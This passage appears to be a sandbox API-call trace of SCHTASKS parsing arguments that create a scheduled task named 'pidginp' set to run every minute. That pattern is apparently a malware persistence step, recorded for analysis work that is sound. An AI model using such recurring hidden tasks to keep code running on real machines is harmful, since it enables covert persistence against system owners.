[0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb620 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb8c0 [0112.863] GetProcessHeap () returned 0x1b748cb0000 [0112.863] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4710 [0112.864] _memicmp (_Buf1=0x1b748cb4710, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.864] GetProcessHeap () returned 0x1b748cb0000 [0112.864] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x200) returned 0x1b748cbba80 [0112.864] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1b748cbba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0112.864] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0112.864] GetProcessHeap () returned 0x1b748cb0000 [0112.864] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x30) returned 0x1b748cb4310 [0112.864] _vsnwprintf (in: _Buffer=0x1b748cb4260, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x119ed7f6a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0112.864] GetProcessHeap () returned 0x1b748cb0000 [0112.864] GetProcessHeap () returned 0x1b748cb0000 [0112.864] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cba7b0) returned 1 [0112.864] GetProcessHeap () returned 0x1b748cb0000 [0112.864] RtlSizeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, MemoryPointer=0x1b748cba7b0) returned 0x776 [0112.865] RtlFreeHeap (HeapHandle=0x1b748cb0000, Flags=0x0, BaseAddress=0x1b748cba7b0) returned 1 [0112.865] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="?") returned 1 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="create") returned 6 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="delete") returned 6 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="query") returned 5 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="change") returned 6 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="run") returned 3 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="end") returned 3 [0112.865] GetThreadLocale () returned 0x409 [0112.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.865] lstrlenW (lpString="showsid") returned 7 [0112.865] GetThreadLocale () returned 0x409 [0112.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.866] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.866] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.866] lstrlenW (lpString="/create") returned 7 [0112.866] lstrlenW (lpString="-/") returned 2 [0112.866] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.866] lstrlenW (lpString="?") returned 1 [0112.866] lstrlenW (lpString="?") returned 1 [0112.866] GetProcessHeap () returned 0x1b748cb0000 [0112.866] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb4350 [0112.866] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.866] GetProcessHeap () returned 0x1b748cb0000 [0112.866] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xa) returned 0x1b748cb38d0 [0112.866] lstrlenW (lpString="create") returned 6 [0112.866] GetProcessHeap () returned 0x1b748cb0000 [0112.866] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cb38f0 [0112.866] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.866] GetProcessHeap () returned 0x1b748cb0000 [0112.866] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x14) returned 0x1b748cb3910 [0112.866] _vsnwprintf (in: _Buffer=0x1b748cb38d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|?|") returned 3 [0112.866] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.866] lstrlenW (lpString="|?|") returned 3 [0112.866] lstrlenW (lpString="|create|") returned 8 [0112.866] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.866] lstrlenW (lpString="create") returned 6 [0112.866] lstrlenW (lpString="create") returned 6 [0112.866] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.866] GetProcessHeap () returned 0x1b748cb0000 [0112.866] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb38d0) returned 1 [0112.866] GetProcessHeap () returned 0x1b748cb0000 [0112.867] RtlReAllocateHeap (Heap=0x1b748cb0000, Flags=0xc, Ptr=0x1b748cb38d0, Size=0x14) returned 0x1b748cb3930 [0112.867] lstrlenW (lpString="create") returned 6 [0112.867] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.867] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.867] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.867] lstrlenW (lpString="|create|") returned 8 [0112.867] lstrlenW (lpString="|create|") returned 8 [0112.867] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0112.867] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.867] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.867] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.867] lstrlenW (lpString="/tn") returned 3 [0112.867] lstrlenW (lpString="-/") returned 2 [0112.867] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.867] lstrlenW (lpString="?") returned 1 [0112.867] lstrlenW (lpString="?") returned 1 [0112.867] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.867] lstrlenW (lpString="tn") returned 2 [0112.867] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.867] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|?|") returned 3 [0112.867] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.867] lstrlenW (lpString="|?|") returned 3 [0112.867] lstrlenW (lpString="|tn|") returned 4 [0112.867] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.867] lstrlenW (lpString="create") returned 6 [0112.867] lstrlenW (lpString="create") returned 6 [0112.867] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.868] lstrlenW (lpString="tn") returned 2 [0112.868] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.868] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.868] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.868] lstrlenW (lpString="|create|") returned 8 [0112.868] lstrlenW (lpString="|tn|") returned 4 [0112.868] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0112.868] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.868] lstrlenW (lpString="delete") returned 6 [0112.868] lstrlenW (lpString="delete") returned 6 [0112.868] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.868] lstrlenW (lpString="tn") returned 2 [0112.868] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.868] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|delete|") returned 8 [0112.868] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.868] lstrlenW (lpString="|delete|") returned 8 [0112.868] lstrlenW (lpString="|tn|") returned 4 [0112.868] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0112.868] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.868] lstrlenW (lpString="query") returned 5 [0112.868] lstrlenW (lpString="query") returned 5 [0112.868] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.868] lstrlenW (lpString="tn") returned 2 [0112.868] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.868] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|query|") returned 7 [0112.868] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.868] lstrlenW (lpString="|query|") returned 7 [0112.869] lstrlenW (lpString="|tn|") returned 4 [0112.869] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0112.869] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.869] lstrlenW (lpString="change") returned 6 [0112.869] lstrlenW (lpString="change") returned 6 [0112.869] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.869] lstrlenW (lpString="tn") returned 2 [0112.869] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.869] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|change|") returned 8 [0112.869] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.869] lstrlenW (lpString="|change|") returned 8 [0112.869] lstrlenW (lpString="|tn|") returned 4 [0112.869] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0112.869] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.869] lstrlenW (lpString="run") returned 3 [0112.869] lstrlenW (lpString="run") returned 3 [0112.869] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.869] lstrlenW (lpString="tn") returned 2 [0112.869] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.869] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|run|") returned 5 [0112.869] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.869] lstrlenW (lpString="|run|") returned 5 [0112.869] lstrlenW (lpString="|tn|") returned 4 [0112.869] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0112.869] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.869] lstrlenW (lpString="end") returned 3 [0112.869] lstrlenW (lpString="end") returned 3 [0112.869] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.870] lstrlenW (lpString="tn") returned 2 [0112.870] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.870] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|end|") returned 5 [0112.870] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.870] lstrlenW (lpString="|end|") returned 5 [0112.870] lstrlenW (lpString="|tn|") returned 4 [0112.870] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0112.870] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.870] lstrlenW (lpString="showsid") returned 7 [0112.870] lstrlenW (lpString="showsid") returned 7 [0112.870] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.870] GetProcessHeap () returned 0x1b748cb0000 [0112.870] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cb3930) returned 1 [0112.870] GetProcessHeap () returned 0x1b748cb0000 [0112.870] RtlReAllocateHeap (Heap=0x1b748cb0000, Flags=0xc, Ptr=0x1b748cb3930, Size=0x16) returned 0x1b748cb3930 [0112.870] lstrlenW (lpString="tn") returned 2 [0112.870] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.870] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|showsid|") returned 9 [0112.870] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tn|") returned 4 [0112.870] lstrlenW (lpString="|showsid|") returned 9 [0112.870] lstrlenW (lpString="|tn|") returned 4 [0112.870] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0112.870] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.870] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.870] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.870] lstrlenW (lpString="/tn") returned 3 [0112.870] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0112.870] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.870] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.870] lstrlenW (lpString="/tn") returned 3 [0112.871] GetProcessHeap () returned 0x1b748cb0000 [0112.871] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x8) returned 0x1b748cb38d0 [0112.871] GetProcessHeap () returned 0x1b748cb0000 [0112.871] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb560 [0112.871] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.871] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.871] lstrlenW (lpString="pidginp") returned 7 [0112.871] lstrlenW (lpString="-/") returned 2 [0112.871] StrChrIW (lpStart="-/", wMatch=0x70) returned 0x0 [0112.871] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.871] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.871] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.871] lstrlenW (lpString="pidginp") returned 7 [0112.871] StrChrIW (lpStart="pidginp", wMatch=0x3a) returned 0x0 [0112.871] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.871] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.871] lstrlenW (lpString="pidginp") returned 7 [0112.871] GetProcessHeap () returned 0x1b748cb0000 [0112.871] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x10) returned 0x1b748cbaa60 [0112.871] GetProcessHeap () returned 0x1b748cb0000 [0112.871] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb320 [0112.874] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.874] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.874] lstrlenW (lpString="/sc") returned 3 [0112.874] lstrlenW (lpString="-/") returned 2 [0112.874] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.874] lstrlenW (lpString="?") returned 1 [0112.874] lstrlenW (lpString="?") returned 1 [0112.874] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.874] lstrlenW (lpString="sc") returned 2 [0112.874] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.874] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|?|") returned 3 [0112.874] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.874] lstrlenW (lpString="|?|") returned 3 [0112.874] lstrlenW (lpString="|sc|") returned 4 [0112.874] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.874] lstrlenW (lpString="create") returned 6 [0112.874] lstrlenW (lpString="create") returned 6 [0112.874] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.874] lstrlenW (lpString="sc") returned 2 [0112.874] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.874] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.874] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.874] lstrlenW (lpString="|create|") returned 8 [0112.874] lstrlenW (lpString="|sc|") returned 4 [0112.875] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0112.875] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.875] lstrlenW (lpString="delete") returned 6 [0112.875] lstrlenW (lpString="delete") returned 6 [0112.875] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.875] lstrlenW (lpString="sc") returned 2 [0112.875] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.875] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|delete|") returned 8 [0112.875] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.875] lstrlenW (lpString="|delete|") returned 8 [0112.875] lstrlenW (lpString="|sc|") returned 4 [0112.875] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0112.875] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.875] lstrlenW (lpString="query") returned 5 [0112.875] lstrlenW (lpString="query") returned 5 [0112.875] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.875] lstrlenW (lpString="sc") returned 2 [0112.875] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.875] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|query|") returned 7 [0112.875] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.875] lstrlenW (lpString="|query|") returned 7 [0112.875] lstrlenW (lpString="|sc|") returned 4 [0112.875] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0112.875] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.875] lstrlenW (lpString="change") returned 6 [0112.875] lstrlenW (lpString="change") returned 6 [0112.875] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.876] lstrlenW (lpString="sc") returned 2 [0112.876] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.876] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|change|") returned 8 [0112.876] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.876] lstrlenW (lpString="|change|") returned 8 [0112.876] lstrlenW (lpString="|sc|") returned 4 [0112.876] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0112.876] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.876] lstrlenW (lpString="run") returned 3 [0112.876] lstrlenW (lpString="run") returned 3 [0112.876] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.876] lstrlenW (lpString="sc") returned 2 [0112.876] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.876] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|run|") returned 5 [0112.876] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.876] lstrlenW (lpString="|run|") returned 5 [0112.876] lstrlenW (lpString="|sc|") returned 4 [0112.876] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0112.876] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.876] lstrlenW (lpString="end") returned 3 [0112.876] lstrlenW (lpString="end") returned 3 [0112.876] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.876] lstrlenW (lpString="sc") returned 2 [0112.876] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.876] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|end|") returned 5 [0112.876] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.877] lstrlenW (lpString="|end|") returned 5 [0112.877] lstrlenW (lpString="|sc|") returned 4 [0112.877] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] lstrlenW (lpString="showsid") returned 7 [0112.877] lstrlenW (lpString="showsid") returned 7 [0112.877] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.877] lstrlenW (lpString="sc") returned 2 [0112.877] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.877] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|showsid|") returned 9 [0112.877] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|sc|") returned 4 [0112.877] lstrlenW (lpString="|showsid|") returned 9 [0112.877] lstrlenW (lpString="|sc|") returned 4 [0112.877] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] lstrlenW (lpString="/sc") returned 3 [0112.877] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] lstrlenW (lpString="/sc") returned 3 [0112.877] GetProcessHeap () returned 0x1b748cb0000 [0112.877] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x8) returned 0x1b748cb3b30 [0112.877] GetProcessHeap () returned 0x1b748cb0000 [0112.877] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb920 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.877] lstrlenW (lpString="MINUTE") returned 6 [0112.877] lstrlenW (lpString="-/") returned 2 [0112.878] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] lstrlenW (lpString="MINUTE") returned 6 [0112.878] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] lstrlenW (lpString="MINUTE") returned 6 [0112.878] GetProcessHeap () returned 0x1b748cb0000 [0112.878] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xe) returned 0x1b748cba9a0 [0112.878] GetProcessHeap () returned 0x1b748cb0000 [0112.878] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb860 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] lstrlenW (lpString="/mo") returned 3 [0112.878] lstrlenW (lpString="-/") returned 2 [0112.878] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.878] lstrlenW (lpString="?") returned 1 [0112.878] lstrlenW (lpString="?") returned 1 [0112.878] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.878] lstrlenW (lpString="mo") returned 2 [0112.878] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.878] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|?|") returned 3 [0112.878] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.878] lstrlenW (lpString="|?|") returned 3 [0112.878] lstrlenW (lpString="|mo|") returned 4 [0112.878] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.878] lstrlenW (lpString="create") returned 6 [0112.878] lstrlenW (lpString="create") returned 6 [0112.878] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.879] lstrlenW (lpString="mo") returned 2 [0112.879] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.879] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.879] _vsnwprintf (in: 